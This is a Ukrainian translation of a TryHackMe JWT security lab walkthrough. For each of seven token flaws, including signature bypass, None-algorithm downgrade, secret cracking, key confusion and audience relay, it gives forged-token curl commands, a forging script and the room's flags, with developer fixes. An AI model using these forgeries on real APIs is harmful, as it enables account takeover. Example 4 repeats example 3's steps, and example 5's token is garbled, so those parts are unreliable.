TryHackMe | Курс з кібербезпеки
TryHackMe — це безкоштовна онлайн-платформа для вивчення кібербезпеки, яка пропонує практичні вправи та лабораторії, все через ваш...
tryhackme.com
](https://tryhackme.com/r/room/jwtsecurity?source=post_page-----996709339468--------------------------------)
Ось і починається складна частина... давайте разом поринемо в це
Розкриття чутливої інформації
Перша поширена проблема, яку ми розглянемо, — це експозиція чутливої інформації всередині JWT.
Поширений підхід до управління сесіями на основі cookie полягає в тому, щоб використовувати серверну сесію для зберігання кількох параметрів. У PHP, наприклад, ви можете використовувати $SESSION[‘var’]=data для збереження значення, що асоціюється з сесією користувача. Ці значення не відкриваються на стороні клієнта, тому їх можна отримати лише на стороні сервера. Однак у випадку з токенами, вимоги відкриваються, оскільки весь JWT відправляється на клієнтську сторону. Якщо дотримуватись тієї ж практики розробки, чутлива інформація може бути розкрита. Ось кілька прикладів на реальних додатках:
- Розкриття облікових даних разом з хешем пароля або, що ще гірше, передача пароля в чистому тексті як частини вимоги.
- Розкриття внутрішньої мережевої інформації, такої як приватна IP-адреса або ім’я хоста сервера аутентифікації.
Практичний приклад 1
Розглянемо практичний приклад. Давайте автентифікуємося на нашому API за допомогою наступного запиту cURL:
curl -H ‘Content-Type: application/json’ -X POST -d ‘{ “username” : “user”, “password” : “password1” }’ [http://10.10.184.31/api/v1.0/example1](http://10.10.184.31/api/v1.0/example1)
Цей запит надасть вам токен JWT. Після того як ви отримаєте його, декодуйте тіло JWT, щоб розкрити чутливу інформацію. Ви можете декодувати тіло вручну або скористатися вебсайтом, таким як JWT.io.
Помилка розробки
У цьому прикладі чутлива інформація була додана до вимог, як показано нижче:
payload = { “username” : username, “password” : password, “admin” : 0, “flag” : “[redacted]” } access_token = jwt.encode(payload, self.secret, algorithm=”HS256")
Виправлення
Такі значення, як пароль чи прапор, не повинні бути додані до вимог, оскільки JWT буде відправлений на клієнтську сторону. Замість цього ці значення повинні зберігатися на сервері у бекенді. Коли це потрібно, ім’я користувача можна отримати з перевіреного JWT і використовувати його для пошуку цих значень, як показано в наступному прикладі:
payload = jwt.decode(token, self.secret, algorithms=”HS256")
username = payload[‘username’]
flag = self.db_lookup(username, “flag”)
root@ip-10–10–153–125:~# curl -H ‘Content-Type: application/json’ -X POST -d ‘{ “username” : “user”, “password” : “password1” }’ http://10.10.184.31/api/v1.0/example1 { “token”: “eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwYXNzd29yZCI6InBhc3N3b3JkMSIsImFkbWluIjowLCJmbGFnIjoiVEhNezljYzAzOWNjLWQ4NWYtNDVkMS1hYzNiLTgxOGM4MzgzYTU2MH0ifQ.TkIHA1zu1mu-zu69w_R4FUlYadkyjmXWyD5sqWd5U” }
передаючи токен через jwt.io
{ “username”: “user”, “password”: “password1”, “admin”: 0, “flag”: “THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}” }
Прапор 1: THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}
Друга поширена помилка з JWT — це невірна перевірка підпису. Якщо підпис не перевіряється належним чином, зловмисник може створити дійсний токен JWT, щоб отримати доступ до облікового запису іншого користувача. Давайте розглянемо поширені проблеми перевірки підпису.
Невірна перевірка підпису
Перша проблема з перевіркою підпису виникає, коли немає перевірки підпису. Якщо сервер не перевіряє підпис JWT, то можна змінювати вимоги в JWT на будь-які бажані значення. Хоча зазвичай такі API не зустрічаються, перевірка підпису може бути пропущена на одному з ендпоінтів API.
Залежно від чутливості ендпоінту, це може мати значний бізнесовий вплив.
Практичний приклад 2
Давайте автентифікуємось на API:
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://MACHINE_IP/api/v1.0/example2
Після автентифікації давайте перевіримо нашого користувача:
curl -H 'Authorization: Bearer [JWT Token]' http://MACHINE_IP/api/v1.0/example2?username=user
Однак давайте спробуємо перевірити нашого користувача без підпису, видаливши третю частину JWT (залишивши лише крапку) і знову зробимо запит. Ви побачите, що перевірка все ще працює! Це означає, що підпис не перевіряється. Змініть вимогу admin у payload на 1
і спробуйте перевірити як користувач-адміністратор, щоб отримати свій прапор.
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.113.31/api/v1.0/example2
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}
Після автентифікації давайте перевіримо нашого користувача:
`curl -H 'Authorization: Bearer [JWT Token]'
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4'
{
"message": "Welcome user, you are not an admin"
}
Однак давайте спробуємо перевірити нашого користувача без підпису, видаливши третю частину JWT (залишивши лише крапку) і знову зробимо запит.
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.'
{
"message": "Welcome user, you are not an admin"
}
Ви побачите, що перевірка все ще працює! Це означає, що підпис не перевіряється. Змініть вимогу admin у payload на 1 (використовуючи jwt.io) і спробуйте перевірити як користувач-адміністратор, щоб отримати свій прапор.
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8'
{
"message": "Welcome admin, you are an admin, here is your flag: THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}"
}
Прапор 2: THM{6e32dca9–0d10–4156-a2d9–5e5c7000648a}
Помилка розробки
У прикладі підпис не перевіряється, як показано нижче:
payload = jwt.decode(token, options={'verify_signature': False})
Хоча рідко можна зустріти таке в звичайних API, це часто трапляється на API сервер-сервер. У випадках, коли зловмисник має прямий доступ до серверної частини, JWT можуть бути підроблені.
Виправлення
JWT завжди має бути перевірений або слід використовувати додаткові фактори аутентифікації, такі як сертифікати, для комунікації сервер-сервер. JWT можна перевірити, надавши секрет (або публічний ключ), як показано в наступному прикладі:
payload = jwt.decode(token, self.secret, algorithms="HS256")
Пониження до None
Інша поширена проблема — це пониження алгоритму підпису. JWT підтримують алгоритм підпису None
, що фактично означає, що підпис не використовується з JWT. Хоча це може здатися дивним, ідея полягає в тому, що в стандарті цей алгоритм був призначений для комунікації сервер-сервер, де підпис JWT перевіряється в upstream процесі. Тому другому серверу не потрібно було перевіряти підпис. Однак, якщо розробники не заблокують алгоритм підпису або, хоча б, не заборонять алгоритм None
.
У такому випадку ви можете просто змінити алгоритм, вказаний у вашому JWT на None
, що призведе до того, що бібліотека, що використовується для перевірки підпису, завжди поверне true, тим самим дозволяючи вам підробити будь-які вимоги у вашому токені.
Практичний приклад 3
Автентифікуємось на API, щоб отримати свій JWT, а потім перевіряємо користувача. Для проведення цієї атаки вам потрібно вручну змінити вимогу alg
у заголовку на None
. Ви можете використовувати CyberChef для цього, використовуючи опцію URL-Encoded Base64. Подайте JWT ще раз для перевірки, що його все ще приймають, навіть якщо підпис більше не дійсний, оскільки були внесені зміни. Потім змініть вимогу admin
, щоб відновити прапор.
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }'
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}
використовуємо jwt.io або cyberchef і змінюємо першу частину токену (під Base64) на
{
"typ": "JWT",
"alg": "None"
}
curl -H 'Authorization: Bearer ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.ew0KICAidXNlcm5hbWUiOiAidXNlciIsDQogICJhZG1pbiI6IDENCn0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8'
{
"message": "Welcome admin, you are an admin, here is your flag: THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}"
}
Прапор 3: THM{fb9341e4–5823–475f-ae50–4f9a1a4489ba}
Помилка розробки
Хоча це може виглядати як та сама проблема, що й раніше, з точки зору розробки це дещо складніше. Іноді розробники хочуть забезпечити, щоб їхня реалізація підтримувала кілька алгоритмів перевірки підпису JWT. Реалізація зазвичай буде читати заголовок JWT і передавати знайдений alg
у компонент перевірки підпису, як показано нижче:
header = jwt.get_unverified_header(token)
signature_algorithm = header['alg']
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
Однак, коли зловмисник вказує None
як алгоритм, перевірка підпису обходиться. Pyjwt, бібліотека JWT, яка використовується в цій кімнаті, реалізувала безпечне кодування, щоб запобігти цій проблемі. Якщо вказано секрет, коли вибрано алгоритм None, виникає виключення.
Виправлення
Якщо повинні підтримуватися кілька алгоритмів підпису, підтримувані алгоритми слід передавати функції декодування у вигляді масиву, як показано нижче:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
username = payload['username']
flag = self.db_lookup(username, "flag")
Слабкі симетричні секрети
Якщо використовується симетричний алгоритм підпису, безпека JWT залежить від сили і ентропії використаного секрету. Якщо використовується слабкий секрет, може бути здійснена атака методом перебору для відновлення секрету. Коли значення секрету відоме, ви знову можете змінити вимоги у своєму JWT і перерахувати дійсну підпис.
Практичний приклад 4
У цьому прикладі для генерації JWT було використано слабкий секрет. Як тільки ви отримаєте JWT, у вас є кілька варіантів для зламування секрету. Для нашого прикладу ми поговоримо про використання Hashcat для зламування секрету JWT. Ви також можете використовувати інші рішення, такі як John. Ви можете скористатися наступними кроками для зламування секрету:
- Збережіть JWT у текстовий файл, званий jwt.txt.
- Завантажте список загальних секретів JWT. Для цієї кімнати ви можете використовувати
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
, щоб завантажити такий список.
3.
Використовуйте Hashcat для зламування секрету за допомогоюhashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
Якщо ви знаєте секрет, ви можете підробити новий токен адміністратора, щоб отримати прапор!
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }'
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}
використовуємо jwt.io або cyberchef і змінюємо першу частину токену (під Base64) на
{
"typ": "JWT",
"alg": "None"
}
curl -H 'Authorization: Bearer ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.ew0KICAidXNlcm5hbWUiOiAidXNlciIsDQogICJhZG1pbiI6IDENCn0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8'
{
"message": "Welcome admin, you are an admin, here is your flag: THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}"
}
Прапор 3: THM{fb9341e4–5823–475f-ae50–4f9a1a4489ba}
Помилка розробки
Проблема виникає, коли використовується слабкий секрет JWT. Це часто трапляється, коли розробники поспішать або копіюють код з прикладів.
Виправлення
Потрібно вибрати надійне значення секрету. Оскільки це значення використовуватиметься в програмному забезпеченні, а не людьми, слід використовувати довгий випадковий рядок для секрету.
Сплутування алгоритмів підпису
Остання поширена проблема з перевіркою підпису виникає, коли можна здійснити атаку на сплутування алгоритмів. Це схоже на атаку по зниженню версії None
, однак це специфічно відбувається через сплутування симетричних і асиметричних алгоритмів підпису. Якщо використовується асиметричний алгоритм підпису, наприклад, RS256, можна знизити алгоритм до HS256. У таких випадках деякі бібліотеки за замовчуванням повертаються до використання публічного ключа як секрету для симетричного алгоритму підпису. Оскільки публічний ключ може бути відомий, ви можете підробити дійсну підпис за допомогою алгоритму HS256 разом з публічним ключем.
Практичний приклад 5
Це схоже на приклад 3. Однак цього разу алгоритм None
не дозволяється. Однак після того, як ви автентифікуєтесь на прикладі, ви також отримаєте публічний ключ. Оскільки публічний ключ не вважається конфіденційним, його часто можна знайти. Іноді публічний ключ навіть вбудовується як вимога в JWT. У цьому прикладі вам потрібно знизити алгоритм до HS256 і потім використати публічний ключ як секрет для підпису JWT. Ви можете використовувати наведену нижче команду для допомоги в підробці цього JWT:
import jwt
public_key = "ADD_KEY_HERE"
payload = {
'username' : 'user',
'admin' : 0
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
Примітка: Рекомендується використовувати AttackBox для цього практичного прикладу, оскільки Pyjwt вже встановлений для вас. Перш ніж запускати скрипт, відредагуйте файл /usr/lib/python3/dist-packages/jwt/algorithms.py
за допомогою улюбленого текстового редактора і перейдіть до рядка 143
. Потім закоментуйте рядки з 143-146
і запустіть скрипт. Якщо ви використовуєте свою віртуальну машину, вам може знадобитися встановити Pyjwt (pip3 install pyjwt
) для використання цього скрипту. Вам також буде потрібно змінити файл бібліотеки Pyjwt algorithm.py
на рядку 258
, щоб видалити умову is_ssh_key
, оскільки патч для цієї уразливості вже було випущено. Майте на увазі, що це місце може варіюватися залежно від віртуальної машини та установки. Легший метод, якщо ви не хочете редагувати код бібліотеки, це скористатися jwt.io.
Якщо це працює, ви можете змінити заяви, щоб зробити себе адміністратором і відновити прапор.
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }'
{
"public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}
після цього ми йдемо до /usr/lib/python3/dist-packages/jwt/algorithms.py і вносимо наступні зміни та створюємо і модифікуємо py файл за допомогою [nano jwt.py]
import jwt
public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip"
payload = {
'username' : 'user',
'admin' : 1
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
тепер запустіть програму і отримайте токен
python3.9 jwt.py
curl -H 'Authorization: Bearer eyJOeXAiOiJKVIQiLCJhbGciOiJIUz11NiJ9. eyJ1c2VybmFtZS161nVzZX1iLCJhZG1pbi16MXO.7 j JBvWpF9JT4DdeUWn1007imBVO
waOHTDPRMavGbPyU'
"message": "Welcome admin, you are an admin, here is your flag: THM{f592dfe2-e
c65-4514-a135-70ba358f22c4)"
Прапор 5: THM{f592dfe2-ec65–4514-a135–70ba358f22c4}
Помилка розробки
Помилка в цьому прикладі схожа на попередній, але трохи складніша. Хоча алгоритм None заборонений, основна проблема полягає в тому, що дозволені як симетричні, так і асиметричні алгоритми підпису, як показано нижче:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])
Необхідно бути обережним, щоб не змішувати алгоритми підпису, оскільки параметр секрету функції decode може бути сплутаний між секретом і публічним ключем.
Виправлення
Хоча можна дозволити обидва типи алгоритмів підпису, потрібна додаткова логіка, щоб забезпечити відсутність плутанини, як показано нижче:
header = jwt.get_unverified_header(token)
algorithm = header['alg']
payload = ""if "RS" in algorithm:
payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])username = payload['username']
flag = self.db_lookup(username, "flag")
Термін дії токену
Перед перевіркою підпису токену слід обчислити його термін дії, щоб переконатися, що токен не прострочений. Це зазвичай здійснюється шляхом зчитування поля exp
(час закінчення) з токену і перевірки, чи ще є він дійсним.
Поширеною проблемою є, коли значення exp
встановлено занадто велике (або взагалі не встановлено), токен може бути дійсним занадто довго або навіть ніколи не спливати. У разі з cookie цей процес можна виконати на серверній стороні. Однак у JWT відсутня ця вбудована функція.
Якщо ми хочемо, щоб токен втратив силу до часу, вказаного в полі exp
, нам потрібно підтримувати чорний список цих токенів, що порушує модель децентралізованих додатків, які використовують один і той самий сервер аутентифікації. Тому потрібно ретельно вибирати правильне значення для exp
, враховуючи функціональність програми. Наприклад, для поштового сервера та банківського додатку, ймовірно, будуть використовуватися різні значення exp
.
Іншим підходом є використання токенів оновлення (refresh tokens). Якщо ви плануєте тестувати API, що використовує JWT, рекомендується ознайомитися з цими токенами.
Практичний приклад 6
У цьому прикладі реалізація JWT не вказує значення exp
, що означає, що токени є постійно активними. Використовуйте наведену нижче команду токена для відновлення вашого прапора:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU
Просто використовуйте наданий токен, як в попередніх процесах
curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU'
{
"message": "Welcome admin, you are an admin, here is your flag: THM{a450ae48-7226-4633-a63d-38a625368669}"
}
Прапор 6: THM{a450ae48–7226–4633-a63d–38a625368669}
Помилка розробки
Як згадувалося раніше, у JWT відсутнє значення exp
, що означає, що він буде постійно активним. Якщо поле exp
відсутнє, більшість бібліотек JWT прийматимуть токен як дійсний, якщо підпис буде перевірено.
Виправлення
Необхідно додати значення exp
до полів. Після цього більшість бібліотек включатимуть перевірку терміну дії JWT при перевірці його дійсності. Це можна зробити, як показано в прикладі нижче:
lifetime = datetime.datetime.now() + datetime.timedelta(minutes=5)
payload = {
'username' : username,
'admin' : 0,
'exp' : lifetime
}access_token = jwt.encode(payload, self.secret, algorithm="HS256")
Остання помилка конфігурації, яку ми розглянемо, — це неправильна конфігурація між сервісами. Як згадувалося раніше, JWT часто використовуються в системах з централізованою системою аутентифікації, яка обслуговує кілька додатків. Однак у деяких випадках ми можемо захотіти обмежити доступ до додатків за допомогою JWT, особливо коли є поля, які повинні бути дійсними лише для певних додатків. Це можна зробити за допомогою поля "audience" (аудиторія). Якщо перевірка цього поля не виконана належним чином, можна виконати атаку Cross-Service Relay для здійснення ескалації привілеїв.
Поле Audience
JWT може містити поле "audience". У випадках, коли одна система аутентифікації обслуговує кілька додатків, поле "audience" може вказувати, для якого додатку призначений JWT. Однак перевірка цього поля має виконуватися безпосередньо в додатку, а не на сервері аутентифікації. Якщо це поле не перевіряється, оскільки сам JWT все ще вважається дійсним через перевірку підпису, можуть виникнути непередбачувані наслідки.
Приклад цього — якщо користувач має привілеї адміністратора або більш високий рівень доступу в певному додатку. JWT, виділений для користувача, зазвичай містить поле, яке вказує на це, наприклад "admin" : true
. Однак цей самий користувач може не бути адміністратором в іншому додатку, який обслуговується тією ж системою аутентифікації. Якщо перевірка поля "audience" не виконана в цьому другому додатку, який також використовує його поле "admin", сервер може помилково вважати, що користувач має привілеї адміністратора. Це називається атакою Cross-Service Relay, як показано в анімації нижче:
Практичний приклад 7
Для цього останнього практичного прикладу є два кінцеві точки API, а саме example7_appA
та example7_appB
. Ви можете використовувати той самий GET запит, який ви зробили в попередніх прикладах, щоб відновити прапор, але вам потрібно буде спрямувати його на ці кінцеві точки.
Окрім цього, для аутентифікації тепер потрібно також додавати значення "application" : "appX"
в запит на вход до example7
. Використовуйте наступні кроки для виконання прикладу:
- Аутентифікуйтесь на
example7
, використовуючи наступний сегмент даних:'{ "username" : "user", "password" : "password7", "application" : "appA"}'
. Ви помітите, що додано поле "audience", але ви не є адміністратором. - Використовуйте цей токен в обох запитах на admin та user, які ви робите до
example7_appA
таexample7_appB
. Ви побачите, що хоча appA приймає токен, ви не є адміністратором, а appB не приймає токен, оскільки audience неправильний. - Аутентифікуйтесь на
example7
, використовуючи наступний сегмент даних:'{ "username" : "user", "password" : "password7", "application" : "appB"}'
. Ви побачите, що знову додано поле "audience", і цього разу ви є адміністратором. - Використовуйте цей токен знову для перевірки себе в обох додатках і подивіться, що відбудеться.
Тепер ви можете використати це для відновлення вашого прапора.
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7","application" : "appA" }' http://10.10.92.134/api/v1.0/example7
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4' http://10.10.92.134/api/v1.0/example7_appA?username=user
{
"message": "Welcome user, you are not an admin"
}
Для appB
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7","application" : "appB" }' http://10.10.92.134/api/v1.0/example7
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.92.134/api/v1.0/example7_appB?username=admin
{
"message": "Welcome admin, you are an admin, but there is no flag for you here"
}
Тепер ми отримали доступ до адміністраторів в appB, давайте перейдемо до appA.
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.92.134/api/v1.0/example7_appA?username=admin
{
"message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}
Прапор 7: THM{f0d34fe1–2ba1–44d4-bae7–99bd555a4128}
Помилка розробки
Ключова проблема полягає в тому, що перевірка поля "audience" не проводиться в appA. Це може статися через те, що перевірка цього поля була вимкнена або охоплення поля було занадто широким.
Виправлення
Поле "audience" повинно бути перевірено, коли токен декодується. Це можна зробити, як показано в прикладі нижче:
payload = jwt.decode(token, self.secret, audience=["appA"], algorithms="HS256")
Цей процес трохи затягнувся, але сподіваюся, що ви змогли слідкувати і коментувати, якщо виникли додаткові проблеми. Дякую!
Щасливого хакінгу!!!!!!
Перекладено з: JWT Security (Part 2)